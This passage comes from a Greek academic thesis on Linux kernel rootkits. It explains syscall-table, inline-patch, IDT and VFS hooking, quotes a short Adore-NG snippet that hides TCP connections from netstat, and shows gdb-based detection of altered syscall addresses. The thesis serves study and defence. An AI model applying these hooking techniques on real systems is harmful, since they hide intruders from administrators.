Στην έκδοση 2.5 και έπειτα, έγινε μια σημαντική αλλαγή στην διαδικασία εξαγω-
γής των συμβόλων πυρήνα. Πλέον τα σύμβολα δεν εξάγονται όλα αυτόματα, παρά
μόνο όσα δηλωθούν στον κώδικα ότι είναι προς εξαγωγή και άρα είναι διαθέσιμα
για χρήση από τα αρθρώματα. Το σύμβολο sys_call_table δεν είναι ανάμεσα
σε αυτά, άρα τα rootkits τα οποία λειτουργούν κανονικά στην έκδοση 2.4 του πυ-
ρήνα πλέον δεν είναι δυνατή η μεταγλώττιση τους. Παρόλα αυτά υπάρχουν τρόποι
να ξεπεραστεί το πρόβλημα εφαρμόζοντας τεχνικές αναζήτησης 6.1.2 στη μνήμη
πυρήνα για την κατάλληλη ακολουθία εντολών.
   Αναπτύξαμε ένα δικό μας rootkit για εκδόσεις πυρήνα 2.6, το οποίο χρησιμο-
ποιεί τις τεχνικές αυτές ώστε να βρει τη θέση στη μνήμη του συμβόλου και να το
χρησιμοποιήσει στην συνέχεια.
   Στην έκδοση 2.6.16 του πυρήνα, έγινε μία ακόμη σημαντική αλλαγή αναφορι-
κά με το σύμβολο του πίνακα κλήσεων, με σκοπό την περαιτέρω και ίσως τελική
αποτροπή των επεμβάσεων στον πίνακα. Με τροποποίηση του κώδικα πυρήνα του
αρχείου /usr/src/linux/arch/x86/kernel/entry_32.S η περιοχή μνήμης
στην οποία αποθηκεύεται ο πίνακας κλήσεων του συστήματος έγινε μόνο ανάγνω-
σης.
   Στο rootkit το οποίο αναπτύξαμε, κατορθώσαμε να αλλάξουμε τις ιδιότητες της
συγκεκριμένης σελίδας μνήμης έτσι ώστε από μόνο ανάγνωσης να γίνει σελίδα
οπού επιτρέπεται η εγγραφή. Έτσι το rootkit μπορεί να εγκατασταθεί σε οποια-
δήποτε έκδοση πυρήνα επιθυμούμε. Η ίδια τεχνική χρησιμοποιήθηκε και στο
πρόγραμμα επαναφοράς του συστήματος μετά την εισβολή rootkit το οποίο α-
ναπτύξαμε, έτσι ώστε να μπορεί να επαναφέρει το σύστημα στην αρχική καλή
κατάσταση επεμβαίνοντας στον πίνακα κλήσεων του συστήματος. Περιγράφουμε

54
                                              4.4. ΣΗΜΕΙΑ ΕΚΤΡΟΠΗΣ ΤΗΣ ΡΟΗΣ ΕΚΤΕΛΕΣΗΣ


αναλυτικά την διαδικασία στην ενότητα 6.1.4
   Η αλλαγή στη ροή εκτέλεσης του πυρήνα την οποία επιφέρει η εγκατάστα-
ση ενός rootkit το οποίο τροποποιεί εγγραφές του πίνακα κλήσεων συστήματος,
παρουσιάζεται στο σχήμα 4.5.




Σχήμα 4.5: Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλή-
σης συστήματος μέσω της μεθόδου τροποποίησης εγγραφών του πίνακα κλήσεων
συστήματος


   Adore Rootkit
Εξετάσαμε το rootkit με όνομα Adore 0.34. To rootkit αυτό είναι ένα από τα
πρώτα που εμφανίσθηκαν αλλά μπορεί ακόμη και σήμερα να βρεθεί σε παραβια-
σμένα συστήματα. Με χρήση του Adore ο εισβολέας μπορεί να αποκρύψει αρ-
χεία, διεργασίες και συνδέσεις δικτύου. Η παραμετροποίηση του γίνεται μέσω
ενός συνοδευτικού προγράμματος (επιπέδου χρήστη), με όνομα ava. Δεν παρέχε-
ται κάποιος μηχανισμός ο οποίος να επιτρέπει στο rootkit να εγκατασταθεί ξανά
μετά από επανεκκίνηση του συστήματος, ούτε κάποιο πρόγραμμα κερκόπορτας.
Ο εισβολέας πρέπει να λύσει αυτά τα θέματα μόνος του, για παράδειγμα εγκαθι-
στώντας έναν τροποποιημένο δαίμονα SSH και κάνοντας την διεργασία του κρυφή
μέσω του rootkit. Η εισαγωγή κώδικα στον πυρήνα γίνεται μέσω του μηχανισμού
των αρθρωμάτων, καθώς το Adore αποτελεί ένα άρθρωμα πυρήνα. Παρέχεται και
ένα δεύτερο άρθρωμα πυρήνα, με την εισαγωγή του οποίου επιτυγχάνεται η α-
πόκρυψη των συγκεκριμένων αρθρωμάτων από την λίστα αρθρωμάτων του πυρή-
να και από τον διαχειριστή. Όσον αφορά τη ροή εκτέλεσης, το Adore τροποποιεί

                                                                                55
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


15 εγγραφές του πίνακα κλήσεων συστήματος, και έτσι ανακατευθύνει την εκτέλε-
ση για αυτές τις 15 κλήσεις σε δικό του κώδικα, φιλτράροντας τα επιστρεφόμενα
αποτελέσματα των κλήσεων σύμφωνα με τις εντολές του εισβολέα.
   Άλλα rootkits τα οποία χρησιμοποιούν την τεχνική αυτή είναι τα KIS, Knark.
Στο σχήμα 4.6 παρουσιάζουμε ενδεικτικά πως το Knark τροποποιεί τον πίνακα
κλήσεων του συστήματος.




Σχήμα 4.6: Κάποιες από τις αλλαγές τις οποίες επιφέρει στον πίνακα κλήσεων του
συστήματος το rootkit “Knark”.

   Μπορούμε να ανιχνεύσουμε την παραβίαση συστήματος μέσω rootkit το οποίο
χρησιμοποιεί την τεχνική τροποποίησης εγγραφών του πίνακα κλήσεων συστήμα-
τος. Περιγράφουμε την διαδικασία στην ενότητα 5.1.1.


4.4.2 Τροποποίηση του κώδικα των κλήσεων συστήματος
Μια διαφορετική τεχνική η οποία εφαρμόζεται από κάποια rootkits είναι η τροπο-
ποίηση του κώδικα κάποιων κλήσεων συστήματος. Αρχικά ο επιτιθέμενος, μέσω
του πίνακα κλήσεων συστήματος βρίσκει τις διευθύνσεις μνήμης στις οποίες βρί-
σκονται οι συναρτήσεις οι οποίες υλοποιούν τους χειριστές των κλήσεων συστήμα-
τος. Στη συνέχεια, έχοντας πρόσβαση εγγραφής στη μνήμη πυρήνα, τοποθετεί μία
εντολή jmp κακόβουλη_διεύθυνση στη θέση κάποιας εντολής η οποία βρίσκεται
μέσα στα πρώτα bytes της υλοποίησης της συνάρτησης. Η jmp αυτή επιτυγχάνει
την μετάβαση της ροής εκτέλεσης προς κάποιο άλλο σημείο του πυρήνα. Στο νέο
αυτό σημείο, ο επιτιθέμενος έχει τοποθετήσει μια δική του υλοποίηση της κλή-

56
                                               4.4. ΣΗΜΕΙΑ ΕΚΤΡΟΠΗΣ ΤΗΣ ΡΟΗΣ ΕΚΤΕΛΕΣΗΣ


σης συστήματος, η οποία είναι ανεπτυγμένη με τέτοιο τρόπο ώστε να επιτελεί τους
κακόβουλους σκοπούς του.
   Ωστόσο η μέθοδος αυτή δεν γνωρίζει ευρεία εφαρμογή καθώς ο επιτιθέμενος
πρέπει να έχει αναπτύξει εξ’ ολοκλήρου αρκετές κλήσεις συστήματος για πολλές
διαφορετικές εκδόσεις πυρήνα και διανομές, ώστε να υπάρχει η απαραίτητη συμ-
βατότητα και να μην παρουσιαστούν προβλήματα κατά την χρήση του συστήματος
μετά την εγκατάσταση του rootkit.
   Η ανίχνευση της μεθόδου αυτής είναι αρκετά δύσκολη καθώς ο πίνακας κλή-
σεων συστήματος έχει μείνει ανέπαφος, και έτσι ένας έλεγχός του δεν θα δείξει
κάποιο πρόβλημα. Θεωρητικά μπορεί να γίνει ανίχνευση της εγκατάστασης ενός
rootkit το οποίο χρησιμοποιεί αυτή τη μέθοδο εξετάζοντας και συγκρίνοντας τα
πρώτα opcode bytes της κάθε κλήσης συστήματος με ένα αποθηκευμένο αντίγρα-
φο ασφαλείας.
   Στην ενότητα 5.1.2 περιγράφουμε τη διαδικασία μέσω της οποίας μπορούμε
να ανιχνεύσουμε την παραβίαση συστήματος μέσω rootkit το οποίο χρησιμοποιεί
την τεχνική τροποποίησης του κώδικα των κλήσεων συστήματος.


4.4.3 Ανακατεύθυνση του πίνακα κλήσεων συστήματος
Στα rootkits τα οποία χρησιμοποιούν την τεχνική αυτή, ο επιτιθέμενος αλλάζει
τις αναφορές προς τη διεύθυνση του πίνακα κλήσεων συστήματος με μία διαφο-
ρετική διεύθυνση. Με τον τρόπο αυτό επιτυγχάνει την χρήση ενός διαφορετικού,
τροποποιημένου πίνακα κλήσεων συστήματος, ο οποίος περιέχει διευθύνσεις μνή-
μης κακόβουλων συναρτήσεων του επιτιθέμενου οι οποίες θα εκτελεστούν αντί των
κανονικών κλήσεων συστήματος. Συγκεκριμένα, γίνεται αλλαγή στον κώδικα της
συνάρτησης system_call() η οποία είναι η συνάρτηση η οποία καλείται ώστε
να χειριστεί τη διακοπή λογισμικού 0x80 η οποία πραγματοποιείται σε περίπτω-
ση κλήσης συστήματος από το επίπεδο χρήστη. H λειτουργία και o κώδικας της
συνάρτησης αυτής έχει εξετασθεί στην ενότητα 4.1.2 ενώ ο κώδικας της συνάρτη-
σης δίδεται στο απόσπασμα κώδικα 4.1.2. Η τροποποίηση γίνεται στη διεύθυνση
η οποία είναι παράμετρος της εντολή call με αποτέλεσμα να καλείται ένας δια-
φορετικός πίνακας κλήσεων συστήματος ο οποίος περιέχει τις διευθύνσεις των
συναρτήσεων του εισβολέα.
   Το πλεονέκτημα της μεθόδου είναι ότι ο αρχικός πίνακας κλήσεων δεν τροπο-
ποιείται και έτσι τα εργαλεία ελέγχου ακεραιότητας του πίνακα δεν θα εντοπίσουν
την εισβολή. Στο διάγραμμα ?? παρουσιάζεται σχηματικά η συγκεκριμένη μέθο-

                                                                                 57
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


δος. Το πιο γνωστό rootkit το οποίο κάνει χρήση της μεθόδου είναι το SucKIT.




Σχήμα 4.7: Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλή-
σης συστήματος μέσω της μεθόδου τροποποίησης της συνάρτησης χειρισμού της
διακοπής 0x80

   Μπορούμε να ανιχνεύσουμε την παραβίαση συστήματος μέσω rootkit το οποίο
χρησιμοποιεί την τεχνική ανακατεύθυνσης του πίνακα κλήσεων συστήματος. Πε-
ριγράφουμε την διαδικασία στην ενότητα 5.1.3.


4.4.4 Τροποποίηση του Πίνακα Περιγραφέων Διακοπών
Η τεχνική αυτή παρουσιάστηκε στο τεύχος 59 του περιοδικού Phrack [26]. Η ιδέα
είναι ότι γίνεται τροποποίηση του Πίνακα Περιγραφέων Διακοπών με τέτοιο τρόπο
ώστε να επιτευχθεί η ανακατεύθυνση μιας εξαίρεσης σε μία κακόβουλη συνάρτη-
ση χειρισμού. Αναλυτικότερα, γίνεται επέμβαση σε μια εγγραφή του Πίνακα Περι-
γραφέων Διακοπών. Η κάθε εγγραφή είναι ένας “περιγραφέας” και ορίζει, μεταξύ
άλλων, τη διεύθυνση της συνάρτησης χειρισμού για τη συγκεκριμένη εξαίρεση ή
διακοπή.
   Στην περίπτωσή μας, η διακοπή λογισμικού 0x80 χρησιμοποιείται στη δια-
δικασία των κλήσεων συστήματος και η συνάρτηση χειρισμού τους είναι η
system_call(), η οποία όταν εκτελεστεί καλεί τη συγκεκριμένη κλήση συστή-
ματος ανάλογα την περίπτωση. Ο εισβολέας, αλλάζοντας τη διεύθυνση μέσα στον
συγκεκριμένο περιγραφέα επιτυγχάνει την εκτέλεση μιας δικής του συνάρτησης

58
                                               4.4. ΣΗΜΕΙΑ ΕΚΤΡΟΠΗΣ ΤΗΣ ΡΟΗΣ ΕΚΤΕΛΕΣΗΣ


αντί της system_call(). Η συνάρτηση αυτή διαβάζει τον καταχωρητή %eax και
ανάλογα τη τιμή του κατευθύνει τη ροή εξέλιξης στο κατάλληλο κακόβουλο κομ-
μάτι κώδικα το οποίο έχει τοποθετήσει ο εισβολέας για το χειρισμό συγκεκριμένων
κλήσεων συστήματος. Σχηματική αναπαράσταση της μεθόδου αυτής δίδεται στο
σχήμα ??
   Το σημαντικό πλεονέκτημα της μεθόδου αυτής είναι ότι δεν επεμβαίνει με κα-
νένα τρόπο στον πίνακα κλήσεων του συστήματος και άρα η ανίχνευση της με τις
γνωστές μεθόδους είναι αδύνατη.




Σχήμα 4.8: Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλήσης
συστήματος μέσω της μεθόδου τροποποίησης του Πίνακα Περιγραφέων Διακοπών



4.4.5 Τροποποίηση εικονικού συστήματος αρχείων (VFS)
Το rootkit με όνομα “Adore-NG”, το οποίο κυκλοφόρησε τον Ιανουάριο του 2004,
στοχεύει για την αλλοίωση του συστήματος στο εικονικό σύστημα αρχείων (VFS)
αντί να εφαρμόζει κάποια τεχνική γύρω από τον πίνακα κλήσεων συστήματος όπως
οι προηγούμενες τεχνικές τις οποίες εξετάσαμε. Μέσω του VFS, και μόνο αυτού, το
rootkit μπορεί να παραβιάσει την ορθή λειτουργία του πυρήνα και να αποκρύψει
πράξεις του εισβολέα.
   Το εικονικό σύστημα αρχείων είναι ένα στρώμα λογισμικού (software layer)
στον πυρήνα του Linux το οποίο χειρίζεται όλες τις κλήσεις συστήματος οι οποίες
σχετίζονται με το σύστημα αρχείων [27]. Το VFS παρέχει στον χρήστη ένα σημαντι-
κό επίπεδο αφαιρετικότητας καθώς του επιτρέπει να χειρίζεται πολλά διαφορετικά

                                                                                 59
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


φυσικά συστήματα αρχείων5 με ενιαίο τρόπο.
      Το Adore-NG στοχεύει στο /proc για δύο συγκεκριμένους λόγους. Ο πρώτος
είναι ότι το /proc είναι ένα πλήρες σύστημα αρχείων και έτσι όλες οι προσβάσεις
από επίπεδο χρήστη σε αυτό γίνονται μέσω του μηχανισμού VFS τον οποίο πα-
ρέχει ο πυρήνας. Ο δεύτερος λόγος είναι ότι το σύστημα αυτό “ζει” αποκλειστικά
στη μνήμη πυρήνα. Το rootkit αντικαθιστά κάποιες από τις υπάρχουσες βοηθη-
τικές ρουτίνες του VFS (οι οποίες παρέχουν την λίστα αρχείων για τους φακέλους
/proc και /file) με άλλες, ειδικά τροποποιημένες. Το γεγονός αυτό επιτρέπει
στον επιτιθέμενο την απόκρυψη συγκεκριμένων αρχείων και φακέλων, αλλά και
οτιδήποτε μπορεί να θεωρηθεί σαν αρχείο στο Linux, όπως μια σύνδεση δικτύου.
Παραθέτουμε ένα παράδειγμα χρήστης του Adore-NG στο οποίο αλλάζει κάποιες
των στοιχείων του πρωτοκόλλου TCP οι οποίες εμφανίζονται στο /proc/tcp με
αποτέλεσμα το εργαλείο netstat να δίνει λανθασμένες πληροφορίες στον διαχει-
ριστή.
struct proc_dir_entry *proc_find_tcp(void)
{
  struct proc_dir_entry *p = proc_net->subdir;

  while (strcmp(p->name, ”tcp”))
    p = p->next;
  return p;
}
pde = proc_find_tcp();
t_afinfo = (struct tcp_seq_afinfo*)pde->data;
orig_tcp4_seq_show = t_afinfo->seq_show;
t_afinfo->seq_show = adore_tcp4_seq_show;




  5
      όπως τα ext2,ext3,reiserfs κ.ά.


60
                                              4.4. ΣΗΜΕΙΑ ΕΚΤΡΟΠΗΣ ΤΗΣ ΡΟΗΣ ΕΚΤΕΛΕΣΗΣ




Σχήμα 4.9: Σχηματική απεικόνιση της αλλοίωσης της ροής εκτέλεσης μιας κλήσης
συστήματος μέσω της μεθόδου τροποποίησης συναρτήσεων του εικονικού συστή-
ματος αρχείων (VFS)




                                                                                 61
                                                                     5
                                                             Αντίμετρα


Στην προσπάθειά μας για αποτελεσματική προστασία ενάντια στις επιθέσεις με
rootkits πρέπει να εξετάσουμε δύο ομάδες τεχνικών και μεθόδων.

   Από τη μία πλευρά πρέπει να υπάρχουν μηχανισμοί και διαδικασίες ανίχνευ-
σης της επίθεσης, έτσι ώστε ο διαχειριστής να ειδοποιηθεί για την παραβίαση του
συστήματος. Από την άλλη πλευρά είναι καλό να υπάρχουν μηχανισμοί προστα-
σίας οι οποίοι θα θωρακίσουν το σύστημα έτσι ώστε να μειωθούν οι επιτυχείς
παραβιάσεις. Θα εξετάσουμε κυρίως κάποιους μηχανισμούς ανίχνευσης τους ο-
ποίους αναπτύξαμε.

   Για λόγους πληρότητας θα αναφέρουμε και κάποιες διαδικασίες αποκατάστα-
σης του συστήματος μετά από επιτυχή παραβίαση. Θα πρέπει στο σημείο αυτό να
αναφέρουμε ότι η αποκατάσταση του συστήματος στην πρότερη καλή κατάστα-
ση στις περισσότερες των περιπτώσεων δεν είναι εφικτή ή δεν είναι ασφαλής. Ο
λόγος είναι ότι ακόμη και εάν ανιχνεύσουμε επιτυχώς την παραβίαση και ταυ-
τοποιήσουμε ποίο συγκεκριμένο rootkit είναι εγκατεστημένο στο σύστημα, ποτέ
δε μπορούμε να ξέρουμε αν ο επιτιθέμενος έχει τροποποιήσει το rootkit ώστε να
έχει δυνατότητες πέρα από τις γνωστές σε εμάς, και ποιες είναι αυτές. Έτσι, ίσως
μπορούμε να απεγκαταστήσουμε ένα μέρος του rootkit αλλά ένα άλλο σημαντικό
κομμάτι του να παραμείνει στο σύστημα. Για τους παραπάνω λόγους, σε περίπτω-
ση ανίχνευσης της παραβίασης ενός συστήματος με rootkit πυρήνα, η ακολουθία
δράσεων που συνιστάτε είναι η διαγραφή και επανεγκατάσταση του λειτουργικού
συστήματος, με ταυτόχρονη επαναφορά των επιχειρησιακών δεδομένων από αντί-
γραφα ασφαλείας.

                                                                            63
ΚΕΦΑΛΑΙΟ 5. ΑΝΤΙΜΕΤΡΑ


5.1 Ανίχνευση
Η παραβίαση του συστήματος με χρήση rootkit πολλές φορές είναι δύσκολο να
ανιχνευθεί καθώς αυτός ακριβώς είναι ο στόχος των rootkits, να κάνουν δυσκο-
λότερη την ανίχνευση της παρουσίας του εισβολέα στο σύστημα. Αν ο πυρήνας δεν
έχει τροποποιηθεί με κάποιο τρόπο, όπως στην περίπτωση στην οποία έχει χρη-
σιμοποιηθεί ένα rootkit επιπέδου χρήστη, είναι πολύ πιο πιθανό να ανιχνευθεί η
παραβίαση. Πολλές μέθοδοι μπορούν να χρησιμοποιηθούν σήμερα οι οποίες θα
πυροδοτήσουν ένα συναγερμό όταν ανιχνευθεί η ψηφιακή υπογραφή (signature)1
ενός rootkit, όπως τα εργαλεία κρυπτογραφικού ελέγχου ακεραιότητας αρχείων
όπως το Tripwire[3] και το AIDE[28].
      Στην περίπτωση που ο εισβολέας αποκτήσει πρόσβαση και τροποποιήσει τον
πυρήνα του συστήματος, η ανίχνευση είναι πολύ δυσκολότερη, καθώς η αλλα-
γές επεκτείνονται αυτόματα σε όλα τα προγράμματα τα οποία χρησιμοποιούν τον
πυρήνα και έτσι αυτά δίνουν πιθανώς λανθασμένες πληροφορίες.


5.1.1 Ανίχνευση της τροποποίησης εγγραφών του πίνακα κλήσεων συστήματος
Η ανίχνευση των rootkit τα οποία λειτουργούν βάση της τεχνικής τροποποίησης
εγγραφών του πίνακα κλήσεων του συστήματος, μπορεί να γίνει δυνατή με διάφο-
ρους τρόπους. Μπορούμε να παρακολουθήσουμε εύκολα τις διευθύνσεις αυτές, οι
οποίες κρατούνται στον πίνακα κλήσεων συστήματος, χρησιμοποιώντας το εργα-
λείο gdb2 . Είναι ένα πάρα πολύ χρήσιμο εργαλείο στην ανίχνευση αλλαγών στον
πυρήνα. Οι διευθύνσεις των κλήσεων συστήματος είναι μόνιμες και δεν αλλάζουν
μετά από επανεκκίνηση του συστήματος και ο ορισμός τους γίνεται κατά την δια-
δικασία μεταγλώττισης του πυρήνα.
      Η γνώση των αρχικών αυτών διευθύνσεων είναι απαραίτητη ώστε να μπορεί να
γίνει σύγκριση με τις διευθύνσεις στη μνήμη του συστήματος ανά πάσα στιγμή. Αν
από αυτή τη σύγκριση αποκαλυφθεί κάποια διαφορά, σημαίνει ότι έχει επέλθει
κάποια αλλαγή μέσω ενός rootkit και άρα ο πυρήνας του συστήματος έχει παρα-
βιασθεί. Η πληροφορία για τις αρχικές διευθύνσεις συστήματος υπάρχει σε δυο
αρχεία τα οποία παράγονται κατά τη διαδικασία της μεταγλώττισης του πυρήνα.
      Το πρώτο είναι το αρχείο System.map το οποίο συνήθως τοποθετείται στον
  1
     Υπογραφή ονομάζουμε μία προκαθορισμένη ομάδα στοιχείων για κάθε rootkit, όπως συγκεκρι-
μένα ονόματα αρχείων και φακέλων, συγκεκριμένες συμβολοσειρές μέσα σε εκτελέσιμα κ.α.
   2
     http://www.gnu.org/software/gdb/


64
                                                                   5.1. ΑΝΙΧΝΕΥΣΗ


φάκελο /boot. Το αρχείο αυτό περιέχει τα σύμβολα του πυρήνα και τις αντίστοι-
χες διευθύνσεις τους στην εικονική μνήμη του συστήματος. Ο διαχειριστής του
συστήματος πρέπει να έχει απαραιτήτως ένα αντίγραφο ασφαλείας του αρχείου
αυτού αποθηκευμένο σε εξωτερική τοποθεσία έτσι ώστε να μπορεί να το χρησιμο-
ποιήσει για σύγκριση χωρίς την υποψία αλλοίωσης του από τον εισβολέα.
   Το δεύτερο αρχείο είναι η εικόνα του πυρήνα η οποία φορτώνεται στη μνήμη
κατά την εκκίνηση του συστήματος. Το αρχείο αυτό συνήθως υπάρχει σε συμπιε-
σμένη μορφή με το όνομα vmlinuz κάτω από τον φάκελο /boot. Δεν υπάρχει
αξιόπιστη διαδικασία αποσυμπίεσης του αρχείου, και για τον λόγο αυτό σε περί-
πτωση ελέγχου του συστήματος είναι πιο χρήσιμη η ασυμπίεστη μορφή η οποία
δημιουργείται κατά την μεταγλώττιση, και έχει όνομα vmlinux. Και το αρχείο
αυτό θα πρέπει να αποθηκεύεται εξωτερικά για χρήση σε περίπτωση ελέγχου ή
εκσφαλμάτωσης του συστήματος.
   Για το σκοπό της μερικής αυτοματοποίησης της παραπάνω διαδικασίας
σύγκρισης, αναπτύξαμε ένα άρθρωμα πυρήνα το οποίο μας δίνει τις διευθύνσεις
των κλήσεων τις οποίες περιέχει ο πίνακας κλήσεων συστήματος.


   Στις περισσότερες των περιπτώσεων, ο πυρήνας τροποποιείται από τα rootkits
μετά την εκκίνηση του συστήματος. Αυτό γίνεται μέσω ενός κακόβουλου αρ-
θρώματος πυρήνα ή άμεσα με εισαγωγή κώδικα μέσω της εικονικής συσκευής
/dev/kmem. Τα rootkits συνήθως δεν τροποποιούν την εικόνα του πυρήνα στο
δίσκο ή το αρχείο System.map. Έτσι, για να ανιχνεύσουμε εάν έχει γίνει τρο-
ποποίηση των εγγραφών του πίνακα κλήσεων συστήματος, πρέπει να τυπώσουμε
όλες τις διευθύνσεις του πίνακα στην μνήμη, και να τις συγκρίνουμε με τις αντί-
στοιχες οι οποίες υπάρχουν στην εικόνα πυρήνα στο δίσκο ή στο System.map. Η
μνήμη του συστήματος αναπαριστάται από ένα αντικειμενικό αρχείο (object file)
με όνομα /proc/kcore.
   Το πρώτο βήμα για την εύρεση των διευθύνσεων είναι η εύρεση της διεύθυν-
σης του πίνακα κλήσεων του συστήματος. Η διεύθυνση αυτή μπορεί να βρεθεί με
πολλούς τρόπους. Ο ευκολότερος εξ’ αυτών είναι μέσω του αρχείου System.map,
καθώς το sys_call_table αποτελεί και αυτό ένα σύμβολο πυρήνα.
debian1:/# cat /boot/System.map-2.6.18-trv |grep sys_call_table
c02834c0 R sys_call_table

   Με χρήση της εντολής nm μπορούμε να βρούμε τη διεύθυνση του πίνακα κλή-
σεων του συστήματος χρησιμοποιώντας το αρχείο εικόνας του πυρήνα vmlinux.
Η εντολή αυτή χρησιμοποιείται για την επισκόπηση των συμβόλων οποιουδήποτε

                                                                            65
ΚΕΦΑΛΑΙΟ 5. ΑΝΤΙΜΕΤΡΑ


αντικειμενικού αρχείου:
debian1:/boot# nm vmlinux |grep sys_call_table
c02834c0 R sys_call_table

   Χρησιμοποιώντας το εργαλείο gdb μπορούμε να εκτυπώσουμε τα περιεχόμενα
του πίνακα κλήσεων του συστήματος απευθείας από την εικόνα του πυρήνα στον
δίσκο. Οι διευθύνσεις που προκύπτουν αντιστοιχούν στις κλήσεις συστήματος με
τη σειρά που αυτές είναι ορισμένες στο αρχείο του πηγαίου κώδικα του πυρήνα
unistd_32.h. Ένα τμήμα του αρχείου αυτού έχουμε παραθέσει στη σελίδα 4.1.2.
Παρακάτω παραθέτουμε μια επισκόπηση των πρώτων 16 λέξεων από τα περιεχο-
μένων του πίνακα κλήσεων συστήματος τυπωμένα σε δεκαεξαδική μορφή. Είναι οι
διευθύνσεις των 16 πρώτων κλήσεων συστήματος. Μπορούμε να δούμε ότι η κλήση
με αριθμό 0 (0xc01274b0) είναι η __NR_restart_syscall, η κλήση με αριθμό
1 (0xc0120010) είναι η __NR_exit και η κλήση με αριθμό 2 (0xc01012c7) είναι
η __NR_fork.
debian1:/boot# gdb vmlinux
(gdb) x/16xw 0xc02834c0
0xc02834c0 <sys_call_table>:       0xc01274b0 0xc0120010 0xc01012c7 0xc015ab2c
0xc02834d0 <sys_call_table+16>:    0xc015ab8f 0xc0158dbb 0xc0159af4 0xc011f80b
...
0xc0283740 <sys_call_table+640>:   0xc01162f9 0xc0119f61 0xc012ff93 0xc01500d7
0xc0283750 <sys_call_table+656>:   0xc0132cf3 0xc0132eec 0xc0113e44 0xc012dcbc
...

(gdb) x/xw 0xc01274b0
0xc01274b0 <sys_restart_syscall>: 0xe281e289
0xc0120010 <sys_exit>: 0x2444b60f

(gdb) x/xw 0xc01012c7
0xc01012c7 <sys_fork>: 0x3824548b

   Μπορούμε επίσης να τυπώσουμε τη διεύθυνση κάποιας κλήσης συστήματος
δίνοντας το όνομά της όπως παρακάτω:
(gdb) x/xw sys_restart_syscall
0xc01274b0 <sys_restart_syscall>: 0xe281e289

(gdb) x/xw sys_exit
0xc0120010 <sys_exit>: 0x2444b60f

(gdb) x/xw sys_fork
0xc01012c7 <sys_fork>: 0x3824548b


66
                                                                    5.1. ΑΝΙΧΝΕΥΣΗ


   Χρησιμοποιώντας το εργαλείο gdb μπορούμε να εξάγουμε τις διευθύνσεις των
κλήσεων συστήματος χωρίς να είναι διαθέσιμο το αρχείο System.map ή αν δεν
είμαστε σίγουροι για την ακεραιότητά του. Στη συνέχεια, θα πρέπει να εξάγουμε
τις αντίστοιχες διευθύνσεις από την μνήμη του πυρήνα ο οποίος είναι σε χρήση,
ώστε να κάνουμε τη σύγκριση και να ανακαλύψουμε αν έχουν γίνει αλλαγές μετά
την εκκίνηση του συστήματος.
   Για την επισκόπηση δομών του πυρήνα, θα πρέπει να εκτελέσουμε το εργαλείο
gdb με δύο παραμέτρους Η πρώτη είναι η εικόνα του πυρήνα στο δίσκο και η
δεύτερη το αντικειμενικό αρχείο /boot/kcore το οποίο περιέχει τη μνήμη του
συστήματος. Θεωρούμε ότι η διεύθυνση του πίνακα κλήσεων συστήματος δεν έχει
αλλάξει και είναι αυτή η οποία υπάρχει στο αρχείο System.map.
debian1:/boot# gdb vmlinux /proc/kcore
(gdb) x/16xw 0xc02834c0
0xc02834c0 <sys_call_table>:     0xc01274b0   0xc88ab11a 0xc01012c7 0xc015ab2c
0xc02834d0 <sys_call_table+16>: 0xc015ab8f    0xc0158dbb 0xc0159af4 0xc011f80b
...
0xc0283740 <sys_call_table+640>: 0xc01162f9   0xc0119f61 0xcc89202d 0xc01500d7
0xc0283750 <sys_call_table+656>: 0xc0132cf3   0xc0132eec 0xc0113e44 0xc012dcbc
...

   Στο παράδειγμά μας μπορούμε να διαπιστώσουμε ότι μια από της κλήσεις συ-
στήματος, η οποία βρίσκεται στη θέση sys_call_table+652 έχει αλλάξει διεύ-
θυνση. Από 0xc012ff93 έχει γίνει 0xcc89202d. Μπορούμε να δούμε ότι είναι η
κλήση συστήματος sys_nanosleep με αριθμό 162.
   Ένα άλλο στοιχείο το οποίο μας κατευθύνει στο συμπέρασμα το σύστημα
έχει παραβιαστεί, είναι το γεγονός ότι η νέα εικονική διεύθυνση της συνάρτη-
σης sys_nanosleep είναι μεγαλύτερη του 0xc8xxxxxx, κάτι το οποίο είναι πολύ
ύποπτο. Το λειτουργικό σύστημα Linux (σε 32bit αρχιτεκτονικές) μπορεί να διευ-
θυνσιοδοτήσει μέχρι 4GB μνήμης. Οι εικονικές διευθύνσεις εκτείνονται από το
0x00000000 μέχρι το 0xffffffff σε δεκαεξαδική απεικόνιση. Το άνω μέρος της
περιοχής εικονικής μνήμης είναι αφιερωμένο στη μνήμη πυρήνα του συστήμα-
τος, και συγκεκριμένα από 0xc0000000 μέχρι 0xffffffff. Κατά την εισαγω-
γή κάποιου αρθρώματος πυρήνα, η συνάρτηση vmalloc εκχωρεί τον κατάλληλο
χώρο μνήμης για την αποθήκευση του κώδικα του αρθρώματος. Η περιοχή μνή-
μης που εκχωρείται συνήθως ξεκινάει από τη διεύθυνση 0xc8800000 και πάντως
βρίσκεται αρκετά μακρύτερα από το σημείο στο οποίο είναι αποθηκευμένες οι συ-
ναρτήσεις της εικόνας του πυρήνα. Έτσι, όποτε υπάρχει μια αναφορά σε μνήμη
αρκετά “μακριά” σε σχέση με τις υπόλοιπες συναρτήσεις, είναι μια ένδειξη ότι η

                                                                             67
ΚΕΦΑΛΑΙΟ 5. ΑΝΤΙΜΕΤΡΑ


συγκεκριμένη κλήση συστήματος έχει αλλάξει σε σχέση με την κατάσταση στην
εκκίνηση του συστήματος, και άρα το σύστημα έχει παραβιαστεί.


5.1.2 Ανίχνευση της τροποποίησης του κώδικα κλήσεων συστήματος
Θα εξετάσουμε μια μέθοδο ανίχνευσης της τροποποίησης του κώδικα των κλήσε-
ων συστήματος. Με χρήση της μεθόδου αυτής τα rootkits καταφέρνουν την πα-
ραβίαση του συστήματος χωρίς να αλλαχθεί κάποια εγγραφή του πίνακα κλήσεων
συστήματος. Όπως ήδη περιγράψαμε, γίνεται εισαγωγή μιας εντολής jmp ή call
μέσα στα πρώτα bytes της υλοποίησης κάποιας κλήσης συστήματος ώστε να γίνει
ανακατεύθυνση της ροής εκτέλεσης στον κακόβουλο κώδικα.
